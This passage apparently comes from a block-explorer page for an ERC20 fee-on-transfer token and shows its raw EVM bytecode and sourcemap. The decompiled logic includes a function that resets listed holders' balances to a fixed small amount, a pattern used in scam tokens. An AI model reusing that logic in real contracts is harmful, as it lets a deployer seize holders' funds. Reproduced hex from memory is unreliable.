506000546040516001600160a01b039091168152602001610131565b34801561029657600080fd5b5060408051808201909152600381526248464360e81b6020820152610124565b3480156102c257600080fd5b506101d96102d13660046113a9565b61049b565b3480156102e257600080fd5b5061015a6102f1366004611309565b610554565b34801561030257600080fd5b506101d9610561565b34801561031757600080fd5b5061017f61032636600461146e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061035e3384846108d2565b5060015b92915050565b60006103766009600a6115a1565b61038490633b9aca006115b0565b905090565b60006103968484846109f6565b6103e884336103e3856040518060600160405280602881526020016116fb602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ef6565b6108d2565b5060019392505050565b6000546001600160a01b031633146104515760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60005b81518110156105505760135482516001600160a01b03909116908390839081106104ca576104ca6115c7565b60200260200101516001600160a01b0316036104e4575050565b6104f06009600a6115a1565b6104fb9060646115b0565b60016000848481518110610511576105116115c7565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020819055508080610548906115dd565b91505061049e565b5050565b600061035e3384846109f6565b6000546001600160a01b031633146105bb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610448565b601354600160a01b900460ff16156106155760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610448565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561065e9030906106506009600a6115a1565b6103e390633b9aca006115b0565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d591906115f6565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610737573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075b91906115f6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cc91906115f6565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610814816001600160a01b031660009081526001602052604090205490565b6000806108296000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610891573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108b69190611613565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b0383166109345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610448565b6001600160a01b0382166109955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610448565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a5a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610448565b6001600160a01b038216610abc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610448565b60008111610b1e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610448565b600080546001600160a01b03858116911614801590610b4b57506000546001600160a01b03848116911614155b15610db357610b7c6064610b76600b54600e5411610b6b57600754610b6f565b6009545b8590610f30565b90610fb9565b6013549091506001600160a01b038581169116148015610baa57506012546001600160a01b03848116911614155b8015610bcf57506001600160a01b03831660009081526003602052604090205460ff16155b15610cb757600f54821115610c265760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d617854784c696d69742e00000000000000006044820152606401610448565b60105482610c49856001600160a01b031660009081526001602052604090205490565b610c539190611641565b1115610ca15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610448565b600e8054906000610cb1836115dd565b91905055505b6013546001600160a01b038481169116148015610cdd57506001600160a01b0384163014155b15610d1557610d076064610b76600c54600e5411610cfd57600854610b6f565b600a548590610f30565b905047610d1347610ffb565b505b30600090815260016020526040902054601354600160a81b900460ff16158015610d4c57506013546001600160a01b038581169116145b8015610d615750601354600160b01b900460ff165b8015610d6e575060115481115b8015610d7d5750600d54600e54115b15610db157610d9f610d9a84610d9584601154611035565b611035565b61104a565b478015610daf57610daf47610ffb565b505b505b8015610e2d5730600090815260016020526040902054610dd390826111c4565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e249085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610e509083611223565b6001600160a01b038516600090815260016020526040902055610e95610e768383611223565b6001600160a01b038516600090815260016020526040902054906111c4565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610edf8585611223565b60405190815260200160405180910390a350505050565b60008184841115610f1a5760405162461bcd60e51b81526004016104489190611293565b506000610f278486611654565b95945050505050565b600082600003610f4257506000610362565b6000610f4e83856115b0565b905082610f5b8583611667565b14610fb25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610448565b9392505050565b6000610fb283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611265565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610550573d6000803e3d6000fd5b60008183116110445782610fb2565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611092576110926115c7565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110f91906115f6565b81600181518110611122576111226115c7565b6001600160a01b03928316602091820292909201015260125461114891309116846108d2565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611181908590600090869030904290600401611689565b600060405180830381600087803b15801561119b57600080fd5b505af11580156111af573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6000806111d18385611641565b905083811015610fb25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610448565b6000610fb283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ef6565b600081836112865760405162461bcd60e51b81526004016104489190611293565b506000610f278486611667565b600060208083528351808285015260005b818110156112c0578581018301518582016040015282016112a4565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112f657600080fd5b50565b8035611304816112e1565b919050565b6000806040838503121561131c57600080fd5b8235611327816112e1565b946020939093013593505050565b60006020828403121561134757600080fd5b8135610fb2816112e1565b60008060006060848603121561136757600080fd5b8335611372816112e1565b92506020840135611382816112e1565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156113bc57600080fd5b823567ffffffffffffffff808211156113d457600080fd5b818501915085601f8301126113e857600080fd5b8135818111156113fa576113fa611393565b8060051b604051601f19603f8301168101818110858211171561141f5761141f611393565b60405291825284820192508381018501918883111561143d57600080fd5b938501935b8285101561146257611453856112f9565b84529385019392850192611442565b98975050505050505050565b6000806040838503121561148157600080fd5b823561148c816112e1565b9150602083013561149c816112e1565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114f85781600019048211156114de576114de6114a7565b808516156114eb57918102915b93841c93908002906114c2565b509250929050565b60008261150f57506001610362565b8161151c57506000610362565b8160018114611532576002811461153c57611558565b6001915050610362565b60ff84111561154d5761154d6114a7565b50506001821b610362565b5060208310610133831016604e8410600b841016171561157b575081810a610362565b61158583836114bd565b8060001904821115611599576115996114a7565b029392505050565b6000610fb260ff841683611500565b8082028115828204841417610362576103626114a7565b634e487b7160e01b600052603260045260246000fd5b6000600182016115ef576115ef6114a7565b5060010190565b60006020828403121561160857600080fd5b8151610fb2816112e1565b60008060006060848603121561162857600080fd5b8351925060208401519150604084015190509250925092565b80820180821115610362576103626114a7565b81810381811115610362576103626114a7565b60008261168457634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116d95784516001600160a01b0316835293830193918301916001016116b4565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200fb1c2e76b8e3cb9189994ec99b5a43682882815fb635dc07695aef05aea545b64736f6c63430008150033

Deployed Bytecode Sourcemap

3617:7351:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5521:83;;;;;;;;;;-1:-1:-1;5591:5:0;;;;;;;;;;;;-1:-1:-1;;;5591:5:0;;;;5521:83;;;;;;;:::i;:::-;;;;;;;;6354:161;;;;;;;;;;-1:-1:-1;6354:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6354:161:0;1162:187:1;5798:95:0;;;;;;;;;;;;;:::i;:::-;;;1500:25:1;;;1488:2;1473:18;5798:95:0;1354:177:1;10120:110:0;;;;;;;;;;-1:-1:-1;10120:110:0;;;;;:::i;:::-;10211:11;;-1:-1:-1;;;;;10178:20:0;;;;;;;:11;:20;;;;;;;;10199:8;;;;;10178:30;;;;;;;;;:44;10120:110;;;6523:313;;;;;;;;;;-1:-1:-1;6523:313:0;;;;;:::i;:::-;;:::i;5707:83::-;;;;;;;;;;-1:-1:-1;5707:83:0;;4424:1;2391:36:1;;2379:2;2364:18;5707:83:0;2249:184:1;5901:119:0;;;;;;;;;;-1:-1:-1;5901:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5994:18:0;5967:7;5994:18;;;:9;:18;;;;;;;5901:119;2698:148;;;;;;;;;;;;;:::i;2484:79::-;;;;;;;;;;-1:-1:-1;2522:7:0;2549:6;2484:79;;-1:-1:-1;;;;;2549:6:0;;;2584:51:1;;2572:2;2557:18;2484:79:0;2438:203:1;5612:87:0;;;;;;;;;;-1:-1:-1;5684:7:0;;;;;;;;;;;;-1:-1:-1;;;5684:7:0;;;;5612:87;;9865:247;;;;;;;;;;-1:-1:-1;9865:247:0;;;;;:::i;:::-;;:::i;6028:167::-;;;;;;;;;;-1:-1:-1;6028:167:0;;;;;:::i;:::-;;:::i;10238:592::-;;;;;;;;;;;;;:::i;6203:143::-;;;;;;;;;;-1:-1:-1;6203:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6311:18:0;;;6284:7;6311:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6203:143;6354:161;6429:4;6446:39;319:10;6469:7;6478:6;6446:8;:39::i;:::-;-1:-1:-1;6503:4:0;6354:161;;;;;:::o;5798:95::-;5851:7;4480:13;4424:1;4480:2;:13;:::i;:::-;4467:26;;:10;:26;:::i;:::-;5871:14;;5798:95;:::o;6523:313::-;6621:4;6638:36;6648:6;6656:9;6667:6;6638:9;:36::i;:::-;6685:121;6694:6;319:10;6716:89;6754:6;6716:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6716:19:0;;;;;;:11;:19;;;;;;;;319:10;6716:33;;;;;;;;;;:37;:89::i;:::-;6685:8;:121::i;:::-;-1:-1:-1;6824:4:0;6523:313;;;;;:::o;2698:148::-;2611:6;;-1:-1:-1;;;;;2611:6:0;319:10;2611:22;2603:67;;;;-1:-1:-1;;;2603:67:0;;6187:2:1;2603:67:0;;;6169:21:1;;;6206:18;;;6199:30;6265:34;6245:18;;;6238:62;6317:18;;2603:67:0;;;;;;;;;2805:1:::1;2789:6:::0;;2768:40:::1;::::0;-1:-1:-1;;;;;2789:6:0;;::::1;::::0;2768:40:::1;::::0;2805:1;;2768:40:::1;2836:1;2819:19:::0;;-1:-1:-1;;;;;;2819:19:0::1;::::0;;2698:148::o;9865:247::-;9938:9;9933:172;9957:7;:14;9953:1;:18;9933:172;;;10012:13;;9998:10;;-1:-1:-1;;;;;10012:13:0;;;;9998:7;;10006:1;;9998:10;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;9998:27:0;;9994:40;;10027:7;9865:247;:::o;9994:40::-;10078:15;4424:1;10078:2;:15;:::i;:::-;10072:21;;:3;:21;:::i;:::-;10048:9;:21;10058:7;10066:1;10058:10;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;10048:21:0;-1:-1:-1;;;;;10048:21:0;;;;;;;;;;;;:45;;;;9973:4;;;;;:::i;:::-;;;;9933:172;;;;9865:247;:::o;6028:167::-;6106:4;6123:42;319:10;6147:9;6158:6;6123:9;:42::i;10238:592::-;2611:6;;-1:-1:-1;;;;;2611:6:0;319:10;2611:22;2603:67;;;;-1:-1:-1;;;2603:67:0;;6187:2:1;2603:67:0;;;6169:21:1;;;6206:18;;;6199:30;6265:34;6245:18;;;6238:62;6317:18;;2603:67:0;5985:356:1;2603:67:0;10302:13:::1;::::0;-1:-1:-1;;;10302:13:0;::::1;;;10301:14;10293:49;;;::::0;-1:-1:-1;;;10293:49:0;;6820:2:1;10293:49:0::1;::::0;::::1;6802:21:1::0;6859:2;6839:18;;;6832:30;6898:25;6878:18;;;6871:53;6941:18;;10293:49:0::1;6618:347:1::0;10293:49:0::1;10353:15;:80:::0;;-1:-1:-1;;;;;;10353:80:0::1;10390:42;10353:80:::0;;::::1;::::0;;;10444:58:::1;::::0;10461:4:::1;::::0;4480:13:::1;4424:1;4480:2;:13;:::i;:::-;4467:26;::::0;:10:::1;:26;:::i;10444:58::-;10547:15;;;;;;;;;-1:-1:-1::0;;;;;10547:15:0::1;-1:-1:-1::0;;;;;10547:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10529:55:0::1;;10593:4;10600:15;;;;;;;;;-1:-1:-1::0;;;;;10600:15:0::1;-1:-1:-1::0;;;;;10600:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10529:94;::::0;-1:-1:-1;;;;;;10529:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7456:15:1;;;10529:94:0::1;::::0;::::1;7438:34:1::0;7508:15;;7488:18;;;7481:43;7373:18;;10529:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10513:13;:110:::0;;-1:-1:-1;;;;;10513:110:0;;::::1;-1:-1:-1::0;;;;;;10513:110:0;;::::1;;::::0;;10634:15:::1;::::0;::::1;:31;10673:21;10704:4;10710:24;10704:4:::0;-1:-1:-1;;;;;5994:18:0;5967:7;5994:18;;;:9;:18;;;;;;;5901:119;10710:24:::1;10735:1;10737::::0;10739:7:::1;2522::::0;2549:6;-1:-1:-1;;;;;2549:6:0;;2484:79;10739:7:::1;10634:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10634:129:0;;;-1:-1:-1;;;;;7894:15:1;;;10634:129:0::1;::::0;::::1;7876:34:1::0;7926:18;;;7919:34;;;;7969:18;;;7962:34;;;;8012:18;;;8005:34;8076:15;;;8055:19;;;8048:44;10747:15:0::1;8108:19:1::0;;;8101:35;7810:19;;10634:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10774:10:0::1;:17:::0;;-1:-1:-1;;;;10802:20:0;-1:-1:-1;;;10802:20:0;;;-1:-1:-1;10238:592:0:o;6844:335::-;-1:-1:-1;;;;;6937:19:0;;6929:68;;;;-1:-1:-1;;;6929:68:0;;8660:2:1;6929:68:0;;;8642:21:1;8699:2;8679:18;;;8672:30;8738:34;8718:18;;;8711:62;-1:-1:-1;;;8789:18:1;;;8782:34;8833:19;;6929:68:0;8458:400:1;6929:68:0;-1:-1:-1;;;;;7016:21:0;;7008:68;;;;-1:-1:-1;;;7008:68:0;;9065:2:1;7008:68:0;;;9047:21:1;9104:2;9084:18;;;9077:30;9143:34;9123:18;;;9116:62;-1:-1:-1;;;9194:18:1;;;9187:32;9236:19;;7008:68:0;8863:398:1;7008:68:0;-1:-1:-1;;;;;7087:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7139:32;;1500:25:1;;;7139:32:0;;1473:18:1;7139:32:0;;;;;;;6844:335;;;:::o;7187:2071::-;-1:-1:-1;;;;;7275:18:0;;7267:68;;;;-1:-1:-1;;;7267:68:0;;9468:2:1;7267:68:0;;;9450:21:1;9507:2;9487:18;;;9480:30;9546:34;9526:18;;;9519:62;-1:-1:-1;;;9597:18:1;;;9590:35;9642:19;;7267:68:0;9266:401:1;7267:68:0;-1:-1:-1;;;;;7354:16:0;;7346:64;;;;-1:-1:-1;;;7346:64:0;;9874:2:1;7346:64:0;;;9856:21:1;9913:2;9893:18;;;9886:30;9952:34;9932:18;;;9925:62;-1:-1:-1;;;10003:18:1;;;9996:33;10046:19;;7346:64:0;9672:399:1;7346:64:0;7438:1;7429:6;:10;7421:64;;;;-1:-1:-1;;;7421:64:0;;10278:2:1;7421:64:0;;;10260:21:1;10317:2;10297:18;;;10290:30;10356:34;10336:18;;;10329:62;-1:-1:-1;;;10407:18:1;;;10400:39;10456:19;;7421:64:0;10076:405:1;7421:64:0;7496:18;2549:6;;-1:-1:-1;;;;;7531:15:0;;;2549:6;;7531:15;;;;:32;;-1:-1:-1;2522:7:0;2549:6;-1:-1:-1;;;;;7550:13:0;;;2549:6;;7550:13;;7531:32;7527:1369;;;7593:78;7667:3;7593:69;7620:12;;7605:14;;:27;7604:57;;7647:14;;7604:57;;;7634:12;;7604:57;7593:6;;:10;:69::i;:::-;:73;;:78::i;:::-;7700:13;;7580:91;;-1:-1:-1;;;;;;7692:21:0;;;7700:13;;7692:21;:55;;;;-1:-1:-1;7731:15:0;;-1:-1:-1;;;;;7717:30:0;;;7731:15;;7717:30;;7692:55;:76;;;;-1:-1:-1;;;;;;7753:15:0;;;;;;:11;:15;;;;;;;;7751:17;7692:76;7688:309;;;7808:11;;7798:6;:21;;7790:58;;;;-1:-1:-1;;;7790:58:0;;10688:2:1;7790:58:0;;;10670:21:1;10727:2;10707:18;;;10700:30;10766:26;10746:18;;;10739:54;10810:18;;7790:58:0;10486:348:1;7790:58:0;7901:14;;7891:6;7875:13;7885:2;-1:-1:-1;;;;;5994:18:0;5967:7;5994:18;;;:9;:18;;;;;;;5901:119;7875:13;:22;;;;:::i;:::-;:40;;7867:79;;;;-1:-1:-1;;;7867:79:0;;11171:2:1;7867:79:0;;;11153:21:1;11210:2;11190:18;;;11183:30;11249:28;11229:18;;;11222:56;11295:18;;7867:79:0;10969:350:1;7867:79:0;7965:14;:16;;;:14;:16;;;:::i;:::-;;;;;;7688:309;8022:13;;-1:-1:-1;;;;;8016:19:0;;;8022:13;;8016:19;:43;;;;-1:-1:-1;;;;;;8039:20:0;;8054:4;8039:20;;8016:43;8013:368;;;8093:81;8170:3;8093:72;8120:13;;8105:14;;:28;8104:60;;8149:15;;8104:60;;;8135:13;;8093:6;;:10;:72::i;:81::-;8080:94;-1:-1:-1;8222:21:0;8313:33;8324:21;8313:10;:33::i;:::-;8061:320;8013:368;8446:4;8397:28;5994:18;;;:9;:18;;;;;;8472:6;;-1:-1:-1;;;8472:6:0;;;;8471:7;:32;;;;-1:-1:-1;8490:13:0;;-1:-1:-1;;;;;8482:21:0;;;8490:13;;8482:21;8471:32;:46;;;;-1:-1:-1;8507:10:0;;-1:-1:-1;;;8507:10:0;;;;8471:46;:85;;;;;8542:14;;8521:20;:35;8471:85;:117;;;;;8575:13;;8560:14;;:28;8471:117;8467:418;;;8609:70;8626:52;8630:6;8637:40;8641:20;8662:14;;8637:3;:40::i;:::-;8626:3;:52::i;:::-;8609:16;:70::i;:::-;8727:21;8770:22;;8767:103;;8817:33;8828:21;8817:10;:33::i;:::-;8590:295;8467:418;7565:1331;7527:1369;8911:12;;8908:165;;8980:4;8962:24;;;;:9;:24;;;;;;:40;;8991:10;8962:28;:40::i;:::-;8955:4;8937:24;;;;:9;:24;;;;;;;:65;;;;9020:41;;-1:-1:-1;;;;;9020:41:0;;;;;;;9050:10;1500:25:1;;1488:2;1473:18;;1354:177;9020:41:0;;;;;;;;8908:165;-1:-1:-1;;;;;9099:15:0;;;;;;:9;:15;;;;;;:27;;9119:6;9099:19;:27::i;:::-;-1:-1:-1;;;;;9083:15:0;;;;;;:9;:15;;;;;:43;9151:41;9169:22;:6;9180:10;9169;:22::i;:::-;-1:-1:-1;;;;;9151:13:0;;;;;;:9;:13;;;;;;;:17;:41::i;:::-;-1:-1:-1;;;;;9137:13:0;;;;;;;:9;:13;;;;;:55;;;;9208:42;;;9227:22;:6;9238:10;9227;:22::i;:::-;9208:42;;1500:25:1;;;1488:2;1473:18;9208:42:0;;;;;;;7256:2002;7187:2071;;;:::o;1376:190::-;1462:7;1498:12;1490:6;;;;1482:29;;;;-1:-1:-1;;;1482:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1522:9:0;1534:5;1538:1;1534;:5;:::i;:::-;1522:17;1376:190;-1:-1:-1;;;;;1376:190:0:o;1574:246::-;1632:7;1656:1;1661;1656:6;1652:47;;-1:-1:-1;1686:1:0;1679:8;;1652:47;1709:9;1721:5;1725:1;1721;:5;:::i;:::-;1709:17;-1:-1:-1;1754:1:0;1745:5;1749:1;1709:17;1745:5;:::i;:::-;:10;1737:56;;;;-1:-1:-1;;;1737:56:0;;11881:2:1;1737:56:0;;;11863:21:1;11920:2;11900:18;;;11893:30;11959:34;11939:18;;;11932:62;-1:-1:-1;;;12010:18:1;;;12003:31;12051:19;;1737:56:0;11679:397:1;1737:56:0;1811:1;1574:246;-1:-1:-1;;;1574:246:0:o;1828:132::-;1886:7;1913:39;1917:1;1920;1913:39;;;;;;;;;;;;;;;;;:3;:39::i;10838:90::-;10893:10;;:27;;-1:-1:-1;;;;;10893:10:0;;;;:27;;;;;10913:6;;10893:10;:27;:10;:27;10913:6;10893:10;:27;;;;;;;;;;;;;;;;;;;9268:98;9325:7;9352:1;9350;:3;9349:9;;9357:1;9349:9;;;-1:-1:-1;9355:1:0;9268:98;-1:-1:-1;9268:98:0:o;9374:483::-;4992:6;:13;;-1:-1:-1;;;;4992:13:0;-1:-1:-1;;;4992:13:0;;;9476:16:::1;::::0;;9490:1:::1;9476:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9476:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9476:16:0::1;9452:40;;9521:4;9503;9508:1;9503:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9503:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9547:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9547:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9503:7;;9547:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9537:4;9542:1;9537:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9537:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9612:15:::1;::::0;9580:62:::1;::::0;9597:4:::1;::::0;9612:15:::1;9630:11:::0;9580:8:::1;:62::i;:::-;9653:15;::::0;:196:::1;::::0;-1:-1:-1;;;9653:196:0;;-1:-1:-1;;;;;9653:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9734:11;;9653:15:::1;::::0;9776:4;;9803::::1;::::0;9823:15:::1;::::0;9653:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5028:6:0;:14;;-1:-1:-1;;;;5028:14:0;;;-1:-1:-1;;;;9374:483:0:o;1045:179::-;1103:7;;1135:5;1139:1;1135;:5;:::i;:::-;1123:17;;1164:1;1159;:6;;1151:46;;;;-1:-1:-1;;;1151:46:0;;13268:2:1;1151:46:0;;;13250:21:1;13307:2;13287:18;;;13280:30;13346:29;13326:18;;;13319:57;13393:18;;1151:46:0;13066:351:1;1232:136:0;1290:7;1317:43;1321:1;1324;1317:43;;;;;;;;;;;;;;;;;:3;:43::i;1968:189::-;2054:7;2089:12;2082:5;2074:28;;;;-1:-1:-1;;;2074:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2113:9:0;2125:5;2129:1;2125;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:247::-;1595:6;1648:2;1636:9;1627:7;1623:23;1619:32;1616:52;;;1664:1;1661;1654:12;1616:52;1703:9;1690:23;1722:31;1747:5;1722:31;:::i;1788:456::-;1865:6;1873;1881;1934:2;1922:9;1913:7;1909:23;1905:32;1902:52;;;1950:1;1947;1940:12;1902:52;1989:9;1976:23;2008:31;2033:5;2008:31;:::i;:::-;2058:5;-1:-1:-1;2115:2:1;2100:18;;2087:32;2128:33;2087:32;2128:33;:::i;:::-;1788:456;;2180:7;;-1:-1:-1;;;2234:2:1;2219:18;;;;2206:32;;1788:456::o;2646:127::-;2707:10;2702:3;2698:20;2695:1;2688:31;2738:4;2735:1;2728:15;2762:4;2759:1;2752:15;2778:1121;2862:6;2893:2;2936;2924:9;2915:7;2911:23;2907:32;2904:52;;;2952:1;2949;2942:12;2904:52;2992:9;2979:23;3021:18;3062:2;3054:6;3051:14;3048:34;;;3078:1;3075;3068:12;3048:34;3116:6;3105:9;3101:22;3091:32;;3161:7;3154:4;3150:2;3146:13;3142:27;3132:55;;3183:1;3180;3173:12;3132:55;3219:2;3206:16;3241:2;3237;3234:10;3231:36;;;3247:18;;:::i;:::-;3293:2;3290:1;3286:10;3325:2;3319:9;3388:2;3384:7;3379:2;3375;3371:11;3367:25;3359:6;3355:38;3443:6;3431:10;3428:22;3423:2;3411:10;3408:18;3405:46;3402:72;;;3454:18;;:::i;:::-;3490:2;3483:22;3540:18;;;3574:15;;;;-1:-1:-1;3616:11:1;;;3612:20;;;3644:19;;;3641:39;;;3676:1;3673;3666:12;3641:39;3700:11;;;;3720:148;3736:6;3731:3;3728:15;3720:148;;;3802:23;3821:3;3802:23;:::i;:::-;3790:36;;3753:12;;;;3846;;;;3720:148;;;3887:6;2778:1121;-1:-1:-1;;;;;;;;2778:1121:1:o;3904:388::-;3972:6;3980;4033:2;4021:9;4012:7;4008:23;4004:32;4001:52;;;4049:1;4046;4039:12;4001:52;4088:9;4075:23;4107:31;4132:5;4107:31;:::i;:::-;4157:5;-1:-1:-1;4214:2:1;4199:18;;4186:32;4227:33;4186:32;4227:33;:::i;:::-;4279:7;4269:17;;;3904:388;;;;;:::o;4297:127::-;4358:10;4353:3;4349:20;4346:1;4339:31;4389:4;4386:1;4379:15;4413:4;4410:1;4403:15;4429:422;4518:1;4561:5;4518:1;4575:270;4596:7;4586:8;4583:21;4575:270;;;4655:4;4651:1;4647:6;4643:17;4637:4;4634:27;4631:53;;;4664:18;;:::i;:::-;4714:7;4704:8;4700:22;4697:55;;;4734:16;;;;4697:55;4813:22;;;;4773:15;;;;4575:270;;;4579:3;4429:422;;;;;:::o;4856:806::-;4905:5;4935:8;4925:80;;-1:-1:-1;4976:1:1;4990:5;;4925:80;5024:4;5014:76;;-1:-1:-1;5061:1:1;5075:5;;5014:76;5106:4;5124:1;5119:59;;;;5192:1;5187:130;;;;5099:218;;5119:59;5149:1;5140:10;;5163:5;;;5187:130;5224:3;5214:8;5211:17;5208:43;;;5231:18;;:::i;:::-;-1:-1:-1;;5287:1:1;5273:16;;5302:5;;5099:218;;5401:2;5391:8;5388:16;5382:3;5376:4;5373:13;5369:36;5363:2;5353:8;5350:16;5345:2;5339:4;5336:12;5332:35;5329:77;5326:159;;;-1:-1:-1;5438:19:1;;;5470:5;;5326:159;5517:34;5542:8;5536:4;5517:34;:::i;:::-;5587:6;5583:1;5579:6;5575